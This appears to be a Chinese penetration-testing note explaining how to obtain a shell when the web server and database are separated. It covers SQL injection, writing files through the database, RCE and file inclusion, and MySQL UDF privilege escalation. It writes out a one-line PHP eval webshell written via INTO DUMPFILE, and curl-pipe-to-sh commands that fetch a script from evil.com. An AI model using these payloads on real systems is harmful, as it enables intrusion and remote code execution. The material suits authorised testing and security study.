站库分离怎么拿 Shell

1. SQL 注入结合文件上传或文件写入漏洞

即使无法直接写入 webshell,SQL 注入仍然可以用于读取或修改数据库中的数据。如果应用程序存在文件上传漏洞,攻击者可以利用 SQL 注入漏洞修改数据库中的某些配置,例如文件上传路径、文件后缀白名单等

渗透思路:

  • 利用SQL注入读取网站的配置文件,获取文件上传路径
  • 利用SQL注入修改数据库中的上传路径或白名单,使其允许上传恶意文件类型(如 .php
  • 结合文件上传漏洞,上传精心构造的 webshell

2. 利用数据库的写权限进行命令执行

在某些非严格配置的环境中,数据库用户可能拥有写入文件系统的权限。攻击者可以尝试通过数据库的 LOAD_FILE()SELECT ... INTO DUMPFILE 等函数,将恶意代码写入到 Web 服务器的可写目录中

渗透思路:

  • 读取配置文件: 利用 SQL 注入读取 Web 服务器上的 phpinfo 或网站配置文件,寻找可写的目录路径
  • 写入webshell: 尝试使用SELECT '<?php @eval($_POST[cmd]);?>' INTO DUMPFILE '/var/www/html/upload/shell.php'webshell 代码写入到Web服务器的 upload 目录
  • 注意: 这种方法需要数据库用户具有 file_priv 权限,并且数据库的secure_file_priv参数没有限制。在站库分离架构下,这种配置是不推荐的,但仍有可能存在

3. 利用 Web 服务器自身的漏洞

这是最直接有效的方法。在站库分离架构中,数据库服务器通常难以直接入侵,但 Web 服务器本身可能存在远程命令执行(RCE)文件包含(LFI/RFI)等高危漏洞

渗透思路:

  • 远程命令执行(RCE): 如果 Web 服务器存在 RCE 漏洞,攻击者可以直接执行系统命令,例如curl http://evil.com/shell.txt | sh,下载并执行恶意脚本,从而获取反弹shell或写入webshell
  • 文件包含(LFI/RFI): 利用 LFI/RFI 漏洞,可以读取敏感文件或包含远程服务器上的恶意文件。例如,攻击者可以利用 file_get_contents('http://evil.com/shell.txt') 将远程 webshell 文件包含到 Web 服务器,从而执行恶意代码

4. 通过数据库的 UDF 函数提权

如果攻击者在数据库上拥有足够高的权限(例如root),并且数据库服务器允许动态加载库文件,他们可以上传自定义的UDF(用户自定义函数)库文件,并在数据库服务器上执行系统命令

渗透思路:

  • SQL注入提权: 利用 SQL 注入获取数据库 root 权限
  • 上传UDF文件: 通过 load_file()into dumpfile 等方法,将恶意 UDF 库文件(例如lib_mysqludf_sys.so)上传到数据库服务器的插件目录
  • 创建自定义函数: 在数据库中创建新的函数,例如 sys_eval(),该函数能够执行系统命令
  • 执行命令: 调用 sys_eval() 函数,执行系统命令,例如 select sys_eval('curl http://evil.com/shell.txt | sh')
  • 注意: 这种方法主要用于在数据库服务器上获取 shell,而不是在 Web 服务器上。但如果数据库服务器配置不当,可能通过 UDF 执行的命令来反向攻击 Web 服务器
Copyright © 版权信息 all right reserved,powered by Gitbook该文件修订时间: 2025-09-25 03:12:54

results matching ""

    No results matching ""